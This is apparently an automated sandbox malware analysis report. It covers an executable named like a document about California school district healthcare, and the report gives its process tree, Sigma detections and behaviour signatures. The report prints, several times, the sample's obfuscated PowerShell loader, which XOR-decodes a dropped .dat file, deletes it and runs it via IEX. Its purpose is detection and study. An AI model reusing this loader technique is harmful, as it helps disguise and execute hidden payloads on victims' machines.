Edit tour

Windows Analysis Report
Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Overview

General Information

Sample name:	Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Analysis ID:	1555371
MD5:	988955bfa46336be7eb44f11f5427699
SHA1:	86f277c2e39af1a01575c30f601c4c411297c78e
SHA256:	1c01b0f68306375e4cc9209e2bbb94965fbb943b75946a390a53fd05bb9b3c16
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Writes many files with high entropy

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Use Short Name Path in Command Line

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe (PID: 6524 cmdline: "C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" MD5: 988955BFA46336BE7EB44F11F5427699)

Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp (PID: 3564 cmdline: "C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" MD5: F386E39F745DF29C2619F21BCA6DAEB7)

powershell.exe (PID: 7192 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PhotoshopElements_2024_LS30_win64.exe (PID: 7360 cmdline: "C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe" MD5: 43843D75A5EEAD8EE3B71EE2ADCBA3FE)

PhotoshopElements_2024_LS30_win64.exe (PID: 7732 cmdline: "C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={6701CC87-BE79-4714-84C1-CDD879D9C7E0} --edtWorkFlow=1 MD5: 43843D75A5EEAD8EE3B71EE2ADCBA3FE)

chrome.exe (PID: 8016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3036 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4124 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5524 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

svchost.exe (PID: 7636 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine|base64offset|contains: #0, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ParentProcessId: 3564, ParentProcessName: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", ProcessId: 7192, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine|base64offset|contains: #0, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ParentProcessId: 3564, ParentProcessName: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", ProcessId: 7192, ProcessName: powershell.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, NewProcessName: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, OriginalFileName: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ParentCommandLine: "C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe", ParentImage: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, ParentProcessId: 6524, ParentProcessName: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" , ProcessId: 3564, ProcessName: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine|base64offset|contains: #0, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ParentProcessId: 3564, ParentProcessName: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", ProcessId: 7192, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7636, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=ebe19fea-e642-481c-8848-612d91fcff8f&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/

HTTP Parser: Number of links: 0

HTTP Parser: <input type="password" .../> found but no <form action="...

HTTP Parser: Base64 decoded: <?xml version="1.0" encoding="UTF-8"?><svg width="38px" height="38px" viewBox="0 0 38 38" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- Generator: Sketch 44.1 (41455) - http://www.bohemiancoding.com...

HTTP Parser: Iframe src: https://adobe-api.arkoselabs.com/v2/2.11.2/enforcement.680e9fec55645f785d2cc2dbf0b3e151.html#430FF2C3-1AB1-40B7-8BE7-44FC683FE02C&dd99e75b-1478-45bf-a119-d1f0986751f3

HTTP Parser: <input type="password" .../> found

Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=ebe19fea-e642-481c-8848-612d91fcff8f&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/	HTTP Parser: No favicon
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=ebe19fea-e642-481c-8848-612d91fcff8f&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/	HTTP Parser: No favicon

HTTP Parser: No <meta name="author".. found

HTTP Parser: No <meta name="copyright".. found

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION PhotoshopElements_2024_LS30_win64.exe

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

File created: C:\Users\user~1\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\LICENSE.txt

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.17.dr
Source:	Binary string: D:\Jenkins\workspace\ccd-hyperdrive\main\native\win32\build\msvs_win32_x86\Release\x86\sym\HDBootStrapper\HDBootStrapper\Set-up.pdb source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user\AppData

Source: Joe Sandbox View	IP Address: 18.239.50.31 18.239.50.31
Source: Joe Sandbox View	IP Address: 63.140.62.27 63.140.62.27
Source: Joe Sandbox View	IP Address: 63.140.62.222 63.140.62.222

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1290949826.000000000136F000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000003.1340529682.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754120252.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000003.1340529682.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754120252.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1290949826.000000000136F000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000003.1340529682.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754120252.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: svchost.exe, 0000000E.00000002.3754901379.000001BD9DCBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digic
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertA
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1290949826.000000000136F000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000003.1340529682.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754120252.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1285708701.0000000003504000.00000004.00000020.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000002.1320220100.000000000018F000.00000004.00000010.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3754181753.00000000012BA000.00000004.00000020.00020000.00000000.sdmp, Google.Widevine.CDM.dll.17.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
